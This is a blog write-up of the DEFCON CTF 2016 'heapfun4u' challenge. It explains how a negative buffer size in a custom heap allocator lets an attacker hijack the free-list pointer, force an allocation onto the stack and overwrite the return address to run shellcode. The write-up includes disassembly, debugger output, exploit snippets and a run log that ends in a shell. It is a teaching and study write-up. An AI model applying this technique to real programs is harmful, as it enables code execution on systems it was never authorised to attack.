DEFCON CTF 2016 - heapfun4u

• Posted by hugsy on May 24, 2016
• exploit • defcon-2016 • x86 • heap


The vulnerable file was given with the following instructions:

Guess what, it is a heap bug

So yes, we’ll be dealing with some heap fun.

gef➤  !file ./heapfun4u
./heapfun4u: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 2.6.24, BuildID[sha1]=b019e6cbed93d55ebef500e8c4dec79ce592fa42, stripped
gef➤  checksec
[+] checksec for '/home/vagrant/heapfun4u'
Canary:                                           No
NX Support:                                       Yes
PIE Support:                                      No
No RPATH:                                         Yes
No RUNPATH:                                       Yes
Partial RelRO:                                    Yes
Full RelRO:                                       No

heapfun4u is a tool that manages its own heap allocator to allocate and free buffers. On top of those actions, another command allows to write directly into one of those buffers. The last command is a helper to leak an address in the stack:

gef➤  c
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
| N
Here you go: 0x7fffffffe16c


Allocating N bytes will:

  • lookup in the free list (0x602558) for a free buffer of a bigger size. If not found:
  • create a buffer with the following structure:
struct __buffer {
    qword size;
    void data[N_rounded_size];
  • add a pointer to struct __buffer->data in an array at 0x6020A0 (in .bss)
  • store the size (N) of this buffer in an array at 0x6023C0

There are many vulnerabilities in heapfun4u but an interesting one, is the fact that when allocating a new buffer, the tool fails to check the size of the new buffer to create. This means that we can provide negative-sized buffer:

[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
| A
Size: -1
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
| W
1) 0x7ffff7ff4008 -- -1

Which we confirm immediately in IDA:

.text:0000000000400A28 mov     edx, 0FFh       ; nbytes
.text:0000000000400A2D mov     rsi, rax        ; buf
.text:0000000000400A30 mov     edi, 0          ; fd
.text:0000000000400A35 call    _read           ;; read(0, &stdin_buffer, 0xFF)

.text:0000000000400A49 lea     rax, [rbp+stdin_buffer]
.text:0000000000400A50 mov     rdi, rax        ; nptr
.text:0000000000400A53 call    _atoi
.text:0000000000400A58 mov     [rbp+size], eax
.text:0000000000400A5B mov     ebx, cs:index
.text:0000000000400A61 mov     eax, [rbp+sz]
.text:0000000000400A64 mov     edi, eax
.text:0000000000400A66 call    allocate_buffer  ;; no check on size before call to allocate_buffer(size)

This is an issue because the free_buffer(data_ptr) assumes that it will find the length of the chunk at data_ptr - 8 and use this location to store a pointer to the head_free_list_ptr. This means that, at the next allocation after the free(), this pointer (which we now control) will be dereferenced.


Dereferencing an arbitrary location

To exploit this, we will use the vulnerability disclosed above to force the heap allocator to make an allocation directly inside the stack (whose address is known thanks to the “Nice guy” command). So we need to:

  1. allocate 3 chunks, the second allocated chunk must have a size of -1
  2. free the 3rd chunk
  3. free the 2nd chunk.
          |  size = N      |
          |  data          |
          |   ..           |
          |                |
          |                |
          |  ptr_to_stack  |
          |  size = -1     |
          |  size = M      |
          |  data          |
          |                |
          |                |

Upon the 2nd free, we will gain control of the head_free_list_ptr:

  sz = 128
  allocate(s, sz)
  allocate(s, -1)
  allocate(s, 10)

  free(s, "3")
  free(s, "2")

  payload = "A"*(sz-8) + p64(0x4242424242424242)
  write(s, 1, payload)

The next allocation will attempt to dereference the address 0x4242424242424242 to see if it’s a suitable buffer:

  allocate(s, 0x200)

And as expected:

gef➤  c

Program received signal SIGSEGV, Segmentation fault.
$rax     0x4242424242424242 $rbx     0x0000000000000003 $rcx     0x00007f580ed92ac0 $rdx     0x0000000000000000 $rsp     0x00007ffceb5f8a70 $rbp     0x00007ffceb5f8ad0
$rsi     0x00007ffceb5f8ae3 $rdi     0x0000000000000200 $rip     0x0000000000400d77 $r8      0x00007f580efe1500 $r9      0x0000000000000200 $r10     0x000000000000000a
$r11     0x1999999999999999 $r12     0x00000000004006b0 $r13     0x00007ffceb5f8ce0 $r14     0x0000000000000000 $r15     0x0000000000000000 $cs      0x0000000000000033
$ss      0x000000000000002b $ds      0x0000000000000000 $es      0x0000000000000000 $fs      0x0000000000000000 $gs      0x0000000000000000 $eflags  [ PF IF RF ]
Flags: [ carry  PARITY  adjust  zero  sign  trap  INTERRUPT  direction  overflow  RESUME  virtualx86  identification ]
0x00007ffceb5f8a70│+0x00: -0x1$sp
0x00007ffceb5f8a78│+0x08: 0x2000efe1740
0x00007ffceb5f8a80│+0x10: 0x00007f580ed92a35 → 0x0
0x00007ffceb5f8a88│+0x18: 0x00007ffceb5f8ae0 → "512[...]"
0x00007ffceb5f8a90│+0x20: 0x00007ffceb5f8ce0 → 0x1
0x00007ffceb5f8a98│+0x28: 0x2
0x00007ffceb5f8aa0│+0x30: 0x4242424242424242
0x00007ffceb5f8aa8│+0x38: 0x00000000004006b0 → xor ebp,ebp
0x400d67	 mov    QWORD PTR [rbp-0x8],rax
0x400d6b	 mov    rax,QWORD PTR [rbp-0x8]
0x400d6f	 mov    QWORD PTR [rbp-0x30],rax
0x400d73	 mov    rax,QWORD PTR [rbp-0x8]
0x400d77	 mov    rax,QWORD PTR [rax] 		 ← $pc
0x400d7a	 and    rax,0xfffffffffffffffc
0x400d7e	 lea    rdx,[rax-0x8]
0x400d82	 mov    rax,QWORD PTR [rbp-0x8]

We now need to create a good setup in the stack to have heapfun4u believe its a valid region for allocation.

Pivoting to stack

To pivot to the stack, we first needed to know exactly the exactly of $rbp when the last call to allocate_buffer() is made. Luckily, as said early, the command “Nice guy” will provide use with such information.

The stack layout is hard to fully control at the level of the allocate_buffer() function. However, this function is called by the main() function, which uses a very large buffer (0x100 bytes) to store values read from stdin:

.text:0000000000400905 ; int __cdecl main(int, char **, char **)
.text:0000000000400905 main proc near
.text:0000000000400905 stdin_buffer= byte ptr -120h    ;; <<-- this buffer provides a good place to land reliably
.text:0000000000400905 sz= dword ptr -14h

Additionally, its location is very easy to pinpoint:

               ^       +------------------+
               |       |    RetAddr       |
               |       +------------------+
context of     |       |   SFP of main    |
               |       +------------------+
main()         |       |     size         |
               |       |  buffer[0x100]   |
               |       |                  | <-------------------------------+
               |       |                  |                                 |
               |       |                  |                                 |
               |       |                  |                                 |
               |       |                  |                                 |
               V       |                  |                                 |
               ^       +------------------+                                 |
               |       |    RetAddr       |                                 |
               |       +------------------+                                 |
               |       |      SFP         |                                 |
context of     |       +------------------+  <------ $rbp points here, so $rbp+0x7e is sure to land
               |       |                  |          to the stack of main()
allocate()     |       |                  |
               |       |                  |
               |       |                  |
               |       |                  |
               |       |                  |
               |       |                  |
               V       +------------------+

So now, we can point head_free_list_ptr to a location we fully control. All we need to write at this address a large value, for example 0x1000 so that when inspecting this address, allocate_buffer() will believe the buffer in the stack is large enough for the new allocation:

padd = 'D'*126 + p64(0x1000) + 'B'*8 + 'C'*8
free(s, "2" + "\0" + padd)

allocate(s, 512)

We have now an allocation in stack:

[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
| W
1) 0x7f06cd628008 -- 128
2) 0x7f06cd628090 -- -1
3) 0x7f06cd628098 -- 10
4) 0x7fffffffe458 -- 512
gef➤  xinfo 0x00007fffffffe458
────────────────────────────────────────────────────[ xinfo: 0x7fffffffe458 ]──────────────────────────────────────
Found 0x00007fffffffe458
Page: 0x00007ffffffde000 → 0x00007ffffffff000 (size=0x21000)
Permissions: rw-
Pathname: [stack]
Offset (from page): +0x20458
Inode: 0

This means that we have transformed it into a regular stack overflow, simply by writing at the newly allocated address 0x7fffffffe458. Since, when allocating a new buffer, heapfun4u calls mmap() with Read|Write|Execute, we have plenty to location to drop our shellcode and jump to it.

This completes our execution steps.

Pwn !

Run the exploit code:

~/cur/heapfun4u $ ./
[+] Connected to
Attach with GDB and hit Enter
[+] rbp = 0x7ffc8c5d7ca0
[+] rsp = 0x7ffc8c5d7c40
[+] 1st allocation ok
[+] 2nd allocation ok
[+] 3rd allocation ok
[+] Leaked mmap-ed areas: 0x7f9c522fd008
[+] Free(#3) ok
[+] Free(#2) ok
[+] Overwriting pointer ok
[+] Stack pivot ok
[+] Overwriting rip ok
[+] Trigger return to 7f9c522fd008
[+] Switching to interactive...

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

vagrant@ubuntu-wily-15:/home/vagrant$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare) vagrant@ubuntu-wily-15:/home/vagrant$

At that time, my teammate from TheGoonies rick2600 had also read the flag file, which was: The flag is: Oh noze you pwned my h33p.

Share this post: